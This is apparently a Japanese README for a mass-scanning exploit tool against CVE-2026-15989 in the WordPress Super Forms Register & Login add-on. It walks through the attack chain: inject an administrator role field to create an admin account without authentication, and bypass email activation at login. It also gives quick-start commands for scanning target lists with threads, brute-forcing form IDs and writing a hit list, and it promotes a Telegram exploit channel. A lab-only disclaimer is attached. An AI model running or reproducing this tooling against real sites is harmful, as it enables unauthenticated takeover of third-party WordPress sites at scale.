                  █████╗  ███╗   ██╗ ████████╗ ██╗ ██████╗   ██████╗   ██████╗  ████████╗
                 ██╔══██╗ ████╗  ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
              ███████║ ██╔██╗ ██║    ██║    ██║ ██║  ██║ ██║██╔██║ ██║██╔██║    ██║
              ██╔══██║ ██║╚██╗██║    ██║    ██║ ██║  ██║ ████╔╝██║ ████╔╝██║    ██║
              ██║  ██║ ██║ ╚████║    ██║    ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝    ██║
              ╚═╝  ╚═╝ ╚═╝  ╚═══╝    ╚═╝    ╚═╝ ╚═════╝   ╚═════╝   ╚═════╝     ╚═╝

💉 Super Forms — マルチラボ PrivEsc スキャナー

CVE-2026-15989 · 未認証の管理者アカウント作成

                                       » E X P L O I T S «

🔥 フィンガープリント不要の自動検出 · バリデーション対応ペイロード · 認証不要 · 誠実な分類

🎯 対象


WordPress プラグイン	Super Forms – Drag & Drop Form Builder (Register & Login アドオン)
影響を受けるバージョン	`<= 6.3.316`
修正済みバージョン	`6.3.317`
認証	❌ 不要 — 公開されている登録フォームが1つあれば十分
CVSS	9.8 CRITICAL

⚡ 攻撃チェーン

👑 CVE-2026-15989 — ホワイトリスト化された role キー → 管理者アカウント作成

GET admin-ajax.php?action=super_create_nonce ──► _sfs_id セッション + sf_nonce
        │
POST admin-ajax.php  action=super_submit_form  data=<JSON>
        │
      before_email_success_msg()  (Register & Login アドオン)
        │
$other_userdata = array( ..., 'role', ... )   ◄── クライアント側キーがホワイトリスト化
        │
$data['role']['value']  ──►  $userdata['role']   (register_user_role が上書きされる)
        │
wp_insert_user()  ──►  🔥 管理者アカウント作成、認証不要

このアドオンは $data['role']['value'] をユーザーデータ配列にそのままコピーし、管理者が設定した register_user_role との照合も、許可リストも、ケイパビリティチェックも行わない — 単一の注入された "role": {"value":"administrator"} フィールドで突破できる。

🎟️ ログイン証明 — アクティベーションゲートのバイパス

POST wp-login.php   log / pwd / testcookie
        │                    + action=super_submit_form   ◄── 魔法のフィールド
        │
check_user_login_status()  ──► pending/blocked ゲートがスキップされる
        │
GET /wp-admin/users.php
        │
200 = 管理者であることを証明  ·  403 = 購読者 (修正済みビルド)

このアドオンは POST アクションが super_submit_form でない場合にのみメールアクティベーション / モデレーションゲートを適用する — つまり、ユーザーを登録するのと同じフォームアクションが、メール確認前であってもそのユーザーでのログインを可能にしてしまう。

🧨 FULL モード — 二段階フォームIDブルートフォース (フィンガープリント不要)

検出結果が空 (REST · sitemap · リンク · ?page_id プローブ)
        │
フェーズ 1 — フォームIDスイープ 1..50、最小ペイロード、IDごとに独自セッション
        │                       (セッションを共有すると各 nonce が無効化される)
        │
'必須フィールド' で拒否 ──► フェーズ 2 — REST マークアップ取得 ──► 完全ペイロードで再試行
        │
受理された各候補 ──► IDごとにログイン証明
        │
お問い合わせフォーム? ──► UNVERIFIED (誤検知には決してならない)
登録フォーム? ──► 👑 管理者であることを検証済み

登録以外のフォームも error:false を返すため、受理された各IDは実際のログインで認証情報が証明されるまで単なる候補にすぎない。

🚀 クイックスタート

# 依存関係ゼロ — 純粋な Python 3 標準ライブラリ (rich は任意、コンソール用)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt

# 並行数 / タイムアウトの調整
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt

# FULL モード: 検出 + ロール注入 + ログイン証明 + フォームIDブルートフォース (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt

labs.txt — 1行につき1つのベースURL:

http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab        # 自己署名TLSは自動的に処理される
# コメントと空行は無視される

🛠️ オプション

オプション	説明
`--list FILE`	ターゲットファイル — 1行につき1つのURL (必須)
`--output, -o FILE`	ヒットリスト — VULNERABLE なターゲットのみをリアルタイムで書き込み (ANSIなし)
`--threads N`	同時ターゲットワーカー数 (デフォルト 10)
`--timeout N`	リクエストごとのソケットタイムアウト秒数 (デフォルト 10)
`--full`	チェーン全体を実行 — フォームIDブルートフォースのフォールバックを追加 (脆弱なターゲットではアカウントが作成される)

🧾 結果の状態

状態	意味
`VULNERABLE`	アカウントが作成され、かつ wp-admin 管理者アクセスが証明された (200)
`NOT-VULNERABLE`	ログインは成功したが管理者ページが 403 — ロールが無視される → 修正済みビルド
`UNVERIFIED`	送信は受理されたがログインが拒否された (ロック/保留中のアカウント、または登録以外のフォーム) — サイレントな誤検知として報告されることはない
`BLOCKED`	送信が拒否された (reCAPTCHA、CSRF、必須フィールド、ハニーポットなど)
`ERROR`	ターゲットに到達不能 / DNS 失敗 — 正確な原因とともに報告される

✨ 機能

🔍 フィンガープリント不要の自動検出 — REST レンダリングコンテンツ (wp-json + ?rest_route= フォールバック) → sitemap インデックス → 40以上の多言語登録パス (/register、/kayit-ol、/registrieren など) → ?page_id=N プローブ; あらゆるテーマ、ページビルダー、パーマリンク形式で動作
🧬 バリデーション対応ペイロード合成 — レンダリングされた各フィールドをブラウザと同様に自動入力: 独自のデフォルト値、textarea の内容、ドロップダウン/チェックボックス/ラジオのオプション、data-validation タイプ (email、number、date、time、phone、IBAN、color、URL)
🎟️ 自動 CSRF — nopriv の super_create_nonce を _sfs_id セッションにバインド; ブルートフォース試行はそれぞれ独自のセッションを取得するため、nonce が互いを無効化しない
👑 誠実な分類 — wp-admin アクセスが証明された場合のみ VULNERABLE; 修正済みビルドは 403 プローブで区別; ロックされたアカウントは UNVERIFIED として表面化
🥷 アクティベーションゲートのバイパス — ログイン証明に action=super_submit_form を付与し、アドオンのメール確認 / モデレーションゲートをスキップ
🧨 FULL モード — IDごとのログイン証明を伴う二段階フォームIDブルートフォース (お問い合わせフォームが誤検知になることは決してない)
🛡️ URL ハードニング — テーマテンプレートリンク ({{ data.url }})、制御文字、IDN/トルコ語スラッグのホストを自動的にサニタイズ
📁 クリーンなヒットリスト — --output は確認済みのターゲットのみを記録し、リアルタイムで追記、常にプレーンテキスト (grep/パースに最適)
📊 リッチコンソール — antid00t スタイルの ANSI Shadow バナー、ライブスコアボード、サマリーテーブル; rich なしでもプレーンテキストに適切にフォールバック
🐍 依存関係ゼロ — 純粋な Python 3 標準ライブラリ (rich は任意の見た目の装飾)

📋 要件

ターゲット: Super Forms <= 6.3.316 で Register & Login アドオンが有効、かつ少なくとも1つの公開フォーム (STANDARD) — FULL モードでは検出可能なフォームは一切不要
攻撃者: Python 3.8+ — pip install は不要

📡 チャンネルに参加

✈ https://t.me/jellyproject

新しいエクスプロイト、PoC、セキュリティリサーチの公開情報。

⚠️ 免責事項

このツールは教育および研究目的のみで提供されています。これは公開されている脆弱性 (CVE-2026-15989) を実証するもので、研究者や管理者が自身のラボ環境を検証できるようにするためのものです。

このソフトウェアは、自身が所有するシステム、またはテストに対する明示的な書面による許可を得たシステムでのみ使用してください。
第三者システムに対する不正使用は違法です。
このソフトウェアは**「現状のまま」提供され、いかなる種類の保証もありません。作者はいかなる誤用、損害、法的結果についても一切の責任を負いません**。

このツールを使用することにより、あなたは自身の行為に対して全責任を負うものとします。

バナー: ANTID00T · ANSI Shadow フォント

CVE-2026-15989

人気